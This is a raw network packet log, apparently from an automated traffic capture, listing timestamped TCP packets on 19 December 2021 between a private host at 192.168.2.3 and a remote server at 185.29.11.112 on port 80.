Dec 19, 2021 21:13:24.339056969 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.339082956 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.339099884 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.339122057 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.339128971 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.339163065 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.339195013 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.339200974 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.339215994 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.339242935 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.339288950 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.339302063 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.339323997 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.339340925 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.339353085 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.339381933 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.339401007 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.339425087 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.339440107 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.339467049 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.339473009 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.339512110 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.339536905 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.339550018 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.339564085 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.339590073 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.339612961 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.339628935 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.339652061 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.339668989 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.339683056 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.339710951 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.339715958 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.339751005 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.339768887 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.339790106 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.339797974 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.339829922 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.339848042 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.339871883 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.339905977 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.339911938 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.339915037 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.339952946 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.339989901 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.340003967 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.340030909 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.340048075 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.340070963 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.340078115 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.340111971 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.340132952 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.340152979 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.340174913 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.340193033 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.340203047 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.340231895 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.340241909 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.340274096 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.340286970 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.340312004 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.340322018 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.340353012 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.340358973 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.340400934 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.340404987 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.340440989 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.340481997 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.340513945 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.340521097 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.340524912 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.340562105 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.340579033 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.340600967 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.340620041 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.340637922 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.340658903 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.340677977 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.340684891 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.340718031 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.340733051 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.340756893 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.340771914 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.340797901 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.340800047 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.340837002 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.340858936 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.340900898 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.340904951 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.340941906 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.340970039 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.340979099 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.340986967 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.341021061 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.341036081 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.341062069 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.341069937 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.341099977 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.341120005 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.341139078 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.341150999 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.341178894 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.341196060 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.341217995 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.341233015 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.341257095 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.341272116 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.341296911 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.341322899 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.341336012 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.341351032 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.341377974 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.341414928 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.341430902 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.341454983 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.341470957 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.341496944 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.341511011 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.341536045 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.341542959 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.341573954 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.341614008 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.341628075 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.341654062 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.341655016 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.341694117 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.341731071 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.341761112 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.341770887 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.341794014 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.341809988 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.341833115 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.341846943 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.341886044 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.341907024 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.341923952 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.341939926 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.341964960 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.342005014 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.342022896 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.342041969 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.342062950 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.342104912 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.342432022 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.346029043 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.346055031 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.346079111 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.346101999 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.346126080 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.346137047 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.346149921 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.346172094 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.346204996 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.352113008 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.358021021 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.358068943 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.358098984 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.358100891 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.358124018 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.358134031 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.358165026 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.358165026 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.358191013 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.358212948 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.358244896 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.358273983 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.358274937 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.358289003 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.358306885 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.358326912 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.358339071 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.358372927 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.358372927 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.358403921 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.358406067 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.358437061 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.358438969 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.358452082 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.358468056 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.358484983 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.358501911 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.358527899 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.358532906 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.358550072 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.358566046 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.358597040 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.358597994 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.358617067 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.358627081 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.358650923 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.358684063 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.359175920 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.359209061 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.359229088 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.359241009 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.359267950 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.359276056 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.359299898 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.359307051 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.359319925 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.359339952 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.359360933 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.359373093 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.359397888 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.359405041 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.359417915 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.359438896 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.359452009 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.359471083 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.359493017 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.359502077 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.359518051 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.359535933 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.359565020 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.359565973 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.359595060 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.359599113 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.359616995 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.359631062 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.359652996 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.359663963 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.359687090 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.359699011 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.359729052 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.359756947 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.359760046 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.359771967 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.359792948 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.359811068 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.359822989 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.359854937 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.359857082 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.359884977 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.359886885 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.359919071 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.359919071 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.359934092 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.359954119 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.359982967 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.360012054 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.360013962 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.360029936 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.360045910 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.360071898 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.360076904 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.360086918 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.360111952 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.360132933 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.360142946 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.360151052 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.360174894 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.360203028 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.360207081 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.360229969 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.360239029 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.360255957 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.360271931 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.360292912 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.360301971 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.360330105 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.360332966 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.360358953 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.360367060 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.360389948 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.360398054 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.360418081 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.360430002 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.360455036 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.360462904 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.360481977 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.360496998 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.360519886 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.360527992 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.360559940 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.360563993 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.360572100 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.360589027 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.360615969 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.360620975 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.360651970 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.360652924 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.360683918 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.360683918 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.360708952 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.360717058 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.360728025 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.360748053 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.360763073 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.360779047 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.360809088 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.360816002 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.360824108 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.360862970 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.362554073 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.365547895 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.365765095 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.366136074 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.366173029 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.366204977 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.366209984 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.366239071 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.366251945 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.366271973 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.366274118 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.366291046 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.366307020 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.366321087 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.366349936 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.366364002 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.366383076 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.366411924 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.366415977 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.366451979 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.366456032 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.366463900 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.366485119 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.366506100 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.366518021 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.366538048 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.366554022 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.366584063 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.366586924 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.366612911 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.366621971 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.366636992 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.366656065 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.366687059 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.366712093 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.366719961 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.366754055 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.366755962 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.366780996 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.366785049 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.366796970 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.366844893 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.367975950 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.368014097 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.368046999 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.368048906 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.368081093 CET	80	49789	185.29.11.112	192.168.2.3
